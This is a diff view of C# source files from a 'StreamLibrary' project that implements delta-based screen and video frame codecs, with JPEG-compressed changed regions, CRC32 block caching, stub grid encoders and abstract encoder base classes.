if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
{
byte[] temp = new byte[Stride];
fixed(byte* ptr = temp)
{
NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
}
CRC32 hasher = new CRC32();
int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
if (EncodeCache.Count >= MaxBuffers)
EncodeCache.RemoveAt(0);
if (EncodeCache.ContainsKey(hash))
{
outStream.WriteByte(1);
outStream.Write(new byte[4], 0, 4);
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
}
else
{
outStream.WriteByte(0);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
outStream.Write(temp, 0, temp.Length);
EncodeCache.Add(hash, temp);
}
Blocks.Add(ScanBlock);
}
}
for (int i = 0; i < Blocks.Count; i++)
{
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
byte[] temp = base.jpgCompression.Compress(cloned);
cloned.Dispose();
}
bitmap.UnlockBits(bmpData);
CodeTempBitmap.UnlockBits(CodeBmpData);
if (onVideoStreamCoding != null)
onVideoStreamCoding(outStream, Blocks.ToArray());
if (CodeTempBitmap != null)
CodeTempBitmap.Dispose();
this.CodeTempBitmap = bitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
if (!inStream.CanRead)
throw new Exception("Must have access to Read in the Stream");
if (DecodeTempBitmap == null)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return DecodeTempBitmap;
}
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
//int Stride = Math.Abs(BmpData.Stride);
while (inStream.Position < inStream.Length)
{
byte[] temp = new byte[11];
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
break;
bool inCache = temp[0] == 1;
int DataSize = BitConverter.ToInt32(temp, 1);
int Hash = BitConverter.ToInt32(temp, 5);
ushort Y = BitConverter.ToUInt16(temp, 9);
temp = new byte[DataSize];
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
break;
if (inCache)
{
if (DecodeCache.ContainsKey(Hash))
{
temp = DecodeCache[Hash];
}
else
{
}
}
//copy new data to cached bitmap
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
{
g.DrawImage(tmpBmp, new Point(0, Y));
}
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
int Offset = Y * Stride;
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
//tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
}
//DecodeTempBitmap.UnlockBits(BmpData);
return DecodeTempBitmap;
}
}
}

View File

@ -0,0 +1,179 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class QuickStreamCodec : IVideoCodec
{
private Bitmap CodeTempBitmap;
private Bitmap DecodeTempBitmap;
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override ulong CachedSize
{
get;
internal set;
}
/// <summary>
/// Initialize a new object of QuickStreamCodec
/// </summary>
/// <param name="ImageQuality">The image quality 0-100%</param>
public QuickStreamCodec(int ImageQuality = 100)
: base(ImageQuality)
{
}
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
}
public override void CodeImage(Bitmap bitmap, Stream outStream)
{
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
if (CodeTempBitmap != null)
{
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
if (CodeTempBitmap == null)
{
byte[] temp = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
CodeTempBitmap = bitmap;
return;
}
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
int Stride = Math.Abs(bmpData.Stride);
List<Rectangle> Blocks = new List<Rectangle>();
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
{
if(onCodeDebugScan != null)
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
{
int index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
{
ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
Blocks[index] = ScanBlock;
}
else
{
Blocks.Add(ScanBlock);
}
}
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
for (int i = 0; i < Blocks.Count; i++)
{
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
byte[] temp = base.jpgCompression.Compress(cloned);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
outStream.Write(temp, 0, temp.Length);
cloned.Dispose();
TotalDataLength += 6 + temp.Length;
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
bitmap.UnlockBits(bmpData);
CodeTempBitmap.UnlockBits(CodeBmpData);
if (onVideoStreamCoding != null)
onVideoStreamCoding(outStream, Blocks.ToArray());
if (CodeTempBitmap != null)
CodeTempBitmap.Dispose();
this.CodeTempBitmap = bitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
if (!inStream.CanRead)
throw new Exception("Must have access to Read in the Stream");
if (DecodeTempBitmap == null)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 4);
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return DecodeTempBitmap;
}
byte[] LenTemp = new byte[4];
inStream.Read(LenTemp, 0, 4);
int DataLength = BitConverter.ToInt32(LenTemp, 0);
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
//int Stride = Math.Abs(BmpData.Stride);
while (DataLength > 0)
{
byte[] temp = new byte[6];
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
break;
int DataSize = BitConverter.ToInt32(temp, 0);
ushort Y = BitConverter.ToUInt16(temp, 4);
temp = new byte[DataSize];
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
break;
//copy new data to cached bitmap
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
{
g.DrawImage(tmpBmp, new Point(0, Y));
}
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
int Offset = Y * Stride;
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
//tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
DataLength -= 6 + temp.Length;
}
//DecodeTempBitmap.UnlockBits(BmpData);
return DecodeTempBitmap;
}
}
}

View File

@ -0,0 +1,374 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class SmallCachedStreamCodec : IVideoCodec
{
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
SortedList<int, byte[]> codeCached;
SortedList<int, byte[]> decodeCached;
public override int BufferCount
{
get { return codeCached.Count; }
}
public override ulong CachedSize
{
get;
internal set;
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
}
private Size CheckBlock { get; set; }
public SimpleBitmap LastFrame { get; set; }
private object ImageProcessLock = new object();
private Bitmap decodedBitmap;
private CRC32 hasher;
public int MaxBuffers { get; private set; }
/// <summary>
/// Initialize a new object of SmallCachedStreamCodec
/// </summary>
/// <param name="MaxBuffers">The maximum amount of buffers, higher value will decrease stream size but could decrease performance</param>
/// <param name="ImageQuality">The image quality 0-100%</param>
public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
: base(ImageQuality)
{
CheckBlock = new Size(20, 1);
codeCached = new SortedList<int, byte[]>();
decodeCached = new SortedList<int, byte[]>();
hasher = new CRC32();
this.MaxBuffers = MaxBuffers;
}
private void SetLastFrame(ref Bitmap bmp)
{
SetLastFrame(new SimpleBitmap(bmp));
}
private void SetLastFrame(SimpleBitmap bmp)
{
lock (ImageProcessLock)
{
if (LastFrame != null && LastFrame.Locked)
LastFrame.Dispose(true);
LastFrame = bmp;
}
}
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
{
lock (ImageProcessLock)
{
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
if (LastFrame == null)
{
byte[] temp = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
SetLastFrame(ref bitmap);
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<byte[]> updates = new List<byte[]>();
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
MemoryStream ms = new MemoryStream();
byte[] buffer = null;
if (!LastFrame.Locked)
LastFrame.Lock();
sbBmp.Lock();
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
{
sbBmp.Unlock();
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}
List<Rectangle> Blocks = new List<Rectangle>();
int index = 0;
int y = 0;
int x = 0;
Size s = new Size(bitmap.Width, CheckBlock.Height);
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
int lasty = bitmap.Height - lastSize.Height;
int lastx = bitmap.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
s = new Size(bitmap.Width, s.Height);
while (y != bitmap.Height)
{
if (y == lasty)
s = new Size(bitmap.Width, lastSize.Height);
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
{
index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
y += s.Height;
}
List<CacheInfo> finalUpdates = new List<CacheInfo>();
const int CheckHeight = 50;
for (int i = 0; i < Blocks.Count; i++)
{
s = new Size(CheckBlock.Width, Blocks[i].Height);
y = Blocks[i].Y;
lasty = (Blocks[i].Y + Blocks[i].Height);
while (y != lasty)
{
int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
x = 0;
while (x != bitmap.Width)
{
if (x == lastx)
s = new Size(lastSize.Width, Blocks[i].Height);
cBlock = new Rectangle(x, y, s.Width, ScanHeight);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
{
/*byte[] tempData = new byte[0];
LastFrame.CopyBlock(cBlock, ref tempData);
finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
//hash it and see if exists in cache
hasher = new CRC32(); //re-initialize for seed
byte[] tempData = new byte[0];
LastFrame.CopyBlock(cBlock, ref tempData);
int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
if (codeCached.Count >= MaxBuffers)
codeCached.RemoveAt(0);
if (codeCached.ContainsKey(hash))
{
CachedSize += (ulong)tempData.Length;
finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
}
else
{
//nothing found in cache let's use the normal way
codeCached.Add(hash, tempData);
finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
}
}
x += s.Width;
}
y += ScanHeight;
}
}
for (int i = 0; i < finalUpdates.Count; i++)
{
buffer = new byte[0];
Rectangle rect = finalUpdates[i].Rect;
if (!finalUpdates[i].isCached)
{
fixed (byte* ptr = finalUpdates[i].Data)
{
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
{
buffer = base.jpgCompression.Compress(TmpBmp);
}
}
}
outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
outStream.Write(buffer, 0, buffer.Length);
TotalDataLength += buffer.Length + (4 * 6) + 1;
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
SetLastFrame(sbBmp);
ms.Close();
ms.Dispose();
}
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
List<CacheInfo> cacheInfo = new List<CacheInfo>();
byte[] HeaderData = new byte[(4 * 6) + 1];
while (DataSize > 0)
{
inStream.Read(HeaderData, 0, HeaderData.Length);
bool isCached = HeaderData[0] == 1;
rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
int Hash = BitConverter.ToInt32(HeaderData, 17);
int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
//process update data
if (isCached)
{
//data is cached
if (decodeCached.ContainsKey(Hash))
buffer = decodeCached[Hash];
else
{
}
cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
}
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
if (buffer.Length > 0)
{
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
}
if (decodeCached.Count >= MaxBuffers)
decodeCached.RemoveAt(0);
if(!decodeCached.ContainsKey(Hash))
this.decodeCached.Add(Hash, buffer);
DataSize -= UpdateLen + HeaderData.Length;
}
int CachedSize = 0;
foreach(CacheInfo inf in cacheInfo)
{
CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
}
Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
g.Dispose();
return decodedBitmap;
}
private class CacheInfo
{
public bool isCached = false;
public byte[] Data;
public int Hash;
public Rectangle Rect;
public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
{
this.Hash = Hash;
this.isCached = isCached;
this.Data = Data;
this.Rect = Rect;
}
/*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
{
if (ScanRects.Count > 0)
{
int scanX = ScanRects[0].X;
for (int i = 0; i < ScanRects.Count; i++)
{
int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
Rectangle rect = ScanRects[i];
rect.Width = scanWidth;
rect.X = scanX;
byte[] buffer = new byte[0];
sBmp.CopyBlock(rect, ref buffer);
int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
if (!HashList.ContainsKey(hash))
HashList.Add(hash, rect);
//fixed (byte* ptr = buffer)
//{
// using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
// {
// buffer = codec.lzwCompression.Compress(TmpBmp);
//
// }
//}
scanX += scanWidth;
}
}
}*/
}
}
}

View File

@ -0,0 +1,266 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class SmallStreamCodec : IVideoCodec
{
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 1; }
}
public override ulong CachedSize
{
get;
internal set;
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
}
public Size CheckBlock { get; set; }
public SimpleBitmap LastFrame { get; set; }
private object ImageProcessLock = new object();
private Bitmap decodedBitmap;
/// <summary>
/// Initialize a new object of SmallStreamCodec
/// </summary>
/// <param name="ImageQuality">The image quality 0-100%</param>
public SmallStreamCodec(int ImageQuality = 100)
: base(ImageQuality)
{
CheckBlock = new Size(20, 1);
}
private void SetLastFrame(ref Bitmap bmp)
{
SetLastFrame(new SimpleBitmap(bmp));
}
private void SetLastFrame(SimpleBitmap bmp)
{
lock (ImageProcessLock)
{
if (LastFrame != null && LastFrame.Locked)
LastFrame.Dispose(true);
LastFrame = bmp;
}
}
/// <summary>
/// Encode the image
/// </summary>
/// <param name="bitmap">The image you want to encode.</param>
/// <param name="outStream">The output stream</param>
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
{
lock (ImageProcessLock)
{
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
if (LastFrame == null)
{
byte[] temp = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
SetLastFrame(ref bitmap);
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<byte[]> updates = new List<byte[]>();
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
MemoryStream ms = new MemoryStream();
byte[] buffer = null;
if (!LastFrame.Locked)
LastFrame.Lock();
sbBmp.Lock();
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
{
sbBmp.Unlock();
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}
List<Rectangle> Blocks = new List<Rectangle>();
int index = 0;
int y = 0;
int x = 0;
Size s = new Size(bitmap.Width, CheckBlock.Height);
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
int lasty = bitmap.Height - lastSize.Height;
int lastx = bitmap.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
s = new Size(bitmap.Width, s.Height);
while (y != bitmap.Height)
{
if (y == lasty)
s = new Size(bitmap.Width, lastSize.Height);
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
{
index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
y += s.Height;
}
List<Rectangle> finalUpdates = new List<Rectangle>();
for (int i = 0; i < Blocks.Count; i++)
{
s = new Size(CheckBlock.Width, Blocks[i].Height);
x = 0;
while (x != bitmap.Width)
{
if (x == lastx)
s = new Size(lastSize.Width, Blocks[i].Height);
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
x += s.Width;
}
}
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
sbBmp.CopyBlock(rect, ref buffer);
fixed (byte* ptr = buffer)
{
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
{
buffer = base.jpgCompression.Compress(TmpBmp);
}
}
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
outStream.Write(buffer, 0, buffer.Length);
TotalDataLength += buffer.Length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
SetLastFrame(sbBmp);
ms.Close();
ms.Dispose();
}
}
/// <summary>
/// Decode the video stream
/// </summary>
/// <param name="inStream">The input stream</param>
/// <returns>The image that has been decoded</returns>
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= buffer.Length + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Text;
namespace StreamLibrary.Encoders.GridCoder
{
internal class GridBlock
{
public Rectangle Rect { get; private set; }
public ulong Hash { get; private set; }
private GridEncoder encoder;
public GridBlock(Rectangle Rect, GridEncoder encoder)
{
this.encoder = encoder;
this.Rect = Rect;
CalculateHash();
}
public void CalculateHash()
{
}
}
}

View File

@ -0,0 +1,47 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace StreamLibrary.Encoders.GridCoder
{
public class GridEncoder : IEncoder
{
public override ulong CachedSize
{
get;
internal set;
}
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
}
public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
{
}
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
{
return null;
}
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
return null;
}
}
}

View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace StreamLibrary
{
public enum CodecOption
{
/// <summary>
/// The Previous and next image size must be equal
/// </summary>
RequireSameSize,
/// <summary>
/// If the codec is having a stream buffer
/// </summary>
HasBuffers,
/// <summary>
/// The image will be disposed by the codec and shall not be disposed by the user
/// </summary>
AutoDispose,
/// <summary> No codec options were used </summary>
None
};
}

View File

@ -0,0 +1,46 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary
{
public abstract class IEncoder
{
protected LzwCompression lzwCompression;
public abstract ulong CachedSize { get; internal set; }
protected object ImageProcessLock { get; private set; }
private int _imageQuality;
public int ImageQuality
{
get { return _imageQuality; }
set
{
_imageQuality = value;
lzwCompression = new LzwCompression(value);
}
}
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public IEncoder(int ImageQuality = 100)
{
this.ImageQuality = ImageQuality;
this.ImageProcessLock = new object();
}
public abstract int BufferCount { get; }
public abstract CodecOption CodecOptions { get; }
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
public abstract unsafe Bitmap DecodeData(Stream inStream);
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
}
}

View File

@ -0,0 +1,46 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary
{
public abstract class IUnsafeCodec
{
protected JpgCompression jpgCompression;
protected LzwCompression lzwCompression;
public abstract ulong CachedSize { get; internal set; }
protected object ImageProcessLock { get; private set; }
private int _imageQuality;
public int ImageQuality
{
get { return _imageQuality; }
set
{
_imageQuality = value;
jpgCompression = new JpgCompression(value);
lzwCompression = new LzwCompression(value);
}
}
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public IUnsafeCodec(int ImageQuality = 100)
{
this.ImageQuality = ImageQuality;
this.ImageProcessLock = new object();
}
public abstract int BufferCount { get; }
public abstract CodecOption CodecOptions { get; }
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
public abstract unsafe Bitmap DecodeData(Stream inStream);
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
}
}

View File

